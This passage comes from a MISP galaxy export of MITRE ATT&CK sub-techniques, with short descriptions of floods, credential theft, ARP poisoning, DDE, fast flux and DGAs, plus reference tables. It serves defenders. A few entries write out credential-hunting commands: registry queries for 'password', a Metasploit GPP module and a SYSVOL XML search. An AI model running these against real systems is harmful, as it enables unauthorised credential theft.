Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. (Citation: Arbor Annual DoS Report Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server. (Citation: Cloudflare SynFlood)

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service. (Citation: Corero SYN-ACK flood)

The tag is: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001"

Table 5245. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1499/001">https://attack.mitre.org/techniques/T1499/001</a></td>
</tr>
</tbody>
</table>

Domain Controller Authentication - T1556.001

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments. (Citation: Dell Skeleton)

The tag is: misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001"

Table 5246. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Stored Data Manipulation - T1565.001**

Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. (Citation: FireEye APT38 Oct 2018) (Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: 
`misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"`

**Social Media Accounts - T1585.001**

Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
Scanning IP Blocks - T1595.001

Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

Component Object Model - T1559.001

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

The tag is: **misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001"**

### Table S250. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1559/001">https://attack.mitre.org/techniques/T1559/001</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html">https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html</a></td>
</tr>
</tbody>
</table>

### Social Media Accounts - T1586.001

Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
Fast Flux DNS - T1568.001

Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record. (Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution. (Citation: Fast Flux - Welivesecurity)

In contrast, the “double-flux” method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.

The tag is: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001"

Table 5252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1568/001">https://attack.mitre.org/techniques/T1568/001</a></td>
</tr>
<tr>
<td><a href="https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref">https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref</a></td>
</tr>
<tr>
<td><a href="https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref">https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/">https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/</a></td>
</tr>
</tbody>
</table>

Threat Intel Vendors - T1597.001

Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more...
data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Security CTI Feeds)

Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: `misp-galaxy:mitre-attack-pattern="Threat Intel Vendors - T1597.001"`

### Table S523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1597/001">https://attack.mitre.org/techniques/T1597/001</a></td>
</tr>
<tr>
<td><a href="https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/">https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/</a></td>
</tr>
</tbody>
</table>

### Credentials in Registry - T1552.002

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: `<code>reg query HKLM /f password /t REG_SZ /s</code>`
- Current User Hive: `<code>reg query HKCU /f password /t REG_SZ /s</code>`

The tag is: `misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002"`

### Table S524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/002">https://attack.mitre.org/techniques/T1552/002</a></td>
</tr>
<tr>
<td><a href="https://pentestlab.blog/2017/04/19/stored-credentials/">https://pentestlab.blog/2017/04/19/stored-credentials/</a></td>
</tr>
</tbody>
</table>
Domain Trust Modification - T1484.002

Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002"`

Table 5255. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1484/002">https://attack.mitre.org/techniques/T1484/002</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa21-008a">https://us-cert.cisa.gov/ncas/alerts/aa21-008a</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/golden-saml-advisory">https://www.sygnia.co/golden-saml-advisory</a></td>
</tr>
</tbody>
</table>

Service Exhaustion Flood - T1499.002

Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)
Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume. (Citation: Arbor SSLDoS April 2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Service Exhaustion Flood - T1499.002"`

### Table 5256. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1499/002">https://attack.mitre.org/techniques/T1499/002</a></td>
</tr>
<tr>
<td><a href="https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new">https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new</a></td>
</tr>
</tbody>
</table>

### Password Filter DLL - T1556.002

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: `misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002"`

### Table 5257. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html">http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/002">https://attack.mitre.org/techniques/T1556/002</a></td>
</tr>
</tbody>
</table>
Transmitted Data Manipulation - T1565.002

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002"

Table 5258. Table References

Links

https://attack.mitre.org/techniques/T1565/002
https://content.fireeye.com/apt/rpt-apt38

Group Policy Preferences - T1552.006

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
- Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
- gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>

The tag is: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006"
ARP Cache Poisoning - T1557.002

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache. Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.

The tag is: `misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002"`
Dynamic Data Exchange - T1559.002

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)

Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection)

DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002"

Table 5261. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1559/002">https://attack.mitre.org/techniques/T1559/002</a></td>
</tr>
<tr>
<td><a href="https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/">https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/</a></td>
</tr>
<tr>
<td><a href="https://owasp.org/www-community/attacks/CSV_Injection">https://owasp.org/www-community/attacks/CSV_Injection</a></td>
</tr>
<tr>
<td><a href="https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021">https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864cae">https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864cae</a></td>
</tr>
</tbody>
</table>
Domain Generation Algorithms - T1568.002

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions. (Citation: Cybereason Dissecting DGAs) (Citation: Cisco Umbrella DGA) (Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders. (Citation: Cybereason Dissecting DGAs) (Citation: Cisco Umbrella DGA) (Citation: Talos CCleanup 2017) (Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control. (Citation: Talos CCleanup 2017) (Citation: FireEye POSHSPY April 2017) (Citation: ESET Sednit 2017 Activity)

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002"`

Table 5262. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1568/002">https://attack.mitre.org/techniques/T1568/002</a></td>
</tr>
</tbody>
</table>
Safe Mode Boot - T1562.009

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

The tag is: misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009"

Table 5263. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/009">https://attack.mitre.org/techniques/T1562/009</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg">https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/medusalocker-ransomware">https://www.cybereason.com/blog/medusalocker-ransomware</a></td>
</tr>
</tbody>
</table>
Create Cloud Instance - T1578.002

An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

The tag is: misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002"

Table 5264. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1578/002">https://attack.mitre.org/techniques/T1578/002</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit#admin-activity">https://cloud.google.com/logging/docs/audit#admin-activity</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/m-trends/rpt-m-trends-2020">https://content.fireeye.com/m-trends/rpt-m-trends-2020</a></td>
</tr>
</tbody>
</table>

Code Signing Certificates - T1587.002

Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.

The tag is: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002"

Table 5265. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1587/002">https://attack.mitre.org/techniques/T1587/002</a></td>
</tr>
</tbody>
</table>
Purchase Technical Data - T1597.002

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: misp-galaxy:mitre-attack-pattern="Purchase Technical Data - T1597.002"

### Table 5266. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1597/002">https://attack.mitre.org/techniques/T1597/002</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/">https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/</a></td>
</tr>
</tbody>
</table>

Virtual Private Server - T1583.003

Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)

The tag is: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003"

### Table 5267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Install Root Certificate - T1553.004

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

